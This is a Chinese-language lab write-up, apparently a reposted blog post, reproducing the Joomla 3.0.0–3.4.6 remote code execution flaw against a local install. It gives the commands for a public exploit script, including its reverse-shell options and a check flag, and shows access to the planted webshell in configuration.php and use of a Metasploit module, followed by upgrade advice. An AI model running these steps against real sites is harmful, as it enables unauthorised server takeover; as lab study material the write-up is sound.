专栏首页小白帽学习之路Joomla 3.4.6 远程代码执行漏洞复现

Joomla 3.4.6 远程代码执行漏洞复现

本文作者:dscdtc(Timeline Sec新成员)

本文共853字,阅读大约需要2分钟

0x00 简介


Joomla是一套全球知名的内容管理系统。

Joomla是使用PHP语言加上MySQL数据库所开发的软件系统。

可以在Linux、Windows、MacOSX等各种不同的平台上执行。目前由Open Source Matters开源组织进行开发与支持。

自2012年颁奖典礼开始以来,Joomla连续多年成为CMS评奖的冠军。继2015、2016、2017、2018年在全球CMS评测中,它再次获得“最佳开源CMS”奖!

0x01 漏洞概述


Alessandro Groppo @Hacktive Security于2019-10-02在exploit-db( https://www.exploit-db.com/exploits/47465)发布了Joomla命令执行的EXP,漏洞本质是Joomla对session数据处理不当,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,获取服务器权限,实现远程命令执行。

0x02 影响范围


3.0.0 <= Joomla <= 3.4.6

0x03 环境搭建


懒人搭建php环境当然是选择wamp/phpstudy啦

下载链接:

https://downloads.joomla.org/it/cms/joomla3/3-4-6

下载解压后放入wamp/www/Joomla或者phpstudy/PHPTutorial/WWW/Joomla/目录下,访问http://127.0.0.1/Joomla/准备安装

安装流程如下:

默认root/空

至此,环境搭建完毕。

0x04 漏洞利用


下载漏洞利用脚本:

https://github.com/kiks7/rusty_joomla_rce

漏洞检测:

python3 rusty_joomla_exploit.py -t http://127.0.0.1/Joomla/ -c

注意URL一定要以/结尾 /结尾 /结尾 (别问我为什么, 说多了都是泪…脚本里有url拼接)

漏洞利用:

python3 rusty_joomla_exploit.py -t http://127.0.0.1/Joomla/ -e -l 127.0.0.1 -p 2333

(-e -l -p参数可以反弹shell, 本文并没有反弹成功, 但是可以看到马的密码)

一句话客户端连接

http://127.0.0.1/Joomla/configuration.php

由于贫道用的公司的办公电脑没有菜刀之类的工具简单截个hackbar返回的图:

BY THE WAY…

作者同时提供了msf下的EXP:

metasploit_rusty_joomla_rce.rb

轻轻放入目录:

/usr/share/metasploit-framework/modules/exploits/multi/php/

msfconsole -> reload_all -> search joomla_rce -> use xxxxx -> info

0x05 修复方式


更新至官网最新版本:

https://downloads.joomla.org

Poc脚本:

https://github.com/kiks7/rusty_joomla_rce

参考链接:

https://www.exploit-db.com/exploits/47465

本文分享自微信公众号 - 小白帽学习之路(bat7089)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-10-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Kali Linux Web渗透测试手册(第二版) - 8.5 - 使用Skipfish检测漏洞

    Skipfish(https://code.google.com/archive/p/skipfish/)由谷歌制作,于2010年对外发布。Skipfish被描...

    7089bAt@PowerLi
  • Kali Linux Web渗透测试手册(第二版) - 8.3 - 使用Wapiti发现漏洞

    Wapiti是另一个基于终端的Web漏洞扫描程序,它将GET和POST请求发送到寻找以下漏洞的目标站点(http://wapiti.sourceforge.ne...

    7089bAt@PowerLi
  • Debug究竟是什么意思?

    各位,相信你们都听过Debug这个词,那这个词在我们计算机领域究竟是什么意思呢?今天就在这和大伙简单说道说道,讲的不好不对的地方还请大家批评指正。

    7089bAt@PowerLi
  • 找一份编程的工作难在哪?

    自学找工作,最大的麻烦是简历投进去没回应,其次才是驱动力什么的。 所以怎么让你的简历通过筛选才是最重要的,一个方法就是内推,最靠谱。无论是通过朋友还是朋友的朋友...

    程序员互动联盟
  • Pricing in SAP CRM and Cloud for Customer

    C4C的price分Internal Pricing和External Pricing两种。

    Jerry Wang
  • async/await剖析

    JavaScript是单线程的,为了避免同步阻塞可能会带来的一些负面影响,引入了异步非阻塞机制,而对于异步执行的解决方案从最早的回调函数,到ES6的Promis...

    WindrunnerMax
  • 字节AI Lab-NLP算法热乎面经

    先说下感受吧。本人在今年3月1号(周日)投递简历,隔天周一hr就约了周四的面试,结果那天是2面视频技术面+hr面直接走完了,周五内推的学长就告诉我过了,紧接着就...

    NewBeeNLP
  • Constructor

    我们没有对Child做构造修复,那么这个instance.test是哪里来的?要知道这里的此时instance的构造函数instance.constructor...

    Karl Du
  • 递归——汉诺塔问题(python实现)

    py3study
  • Java中的4种内部类 原

    1. 成员内部类:作为类的成员,存在于某个类的内部。   成员内部类可以调用外部类的所有成员,但只有在创建了外部类的对象后,才能调用外部的成员。

    wuweixiang

扫码关注云+社区

领取腾讯云代金券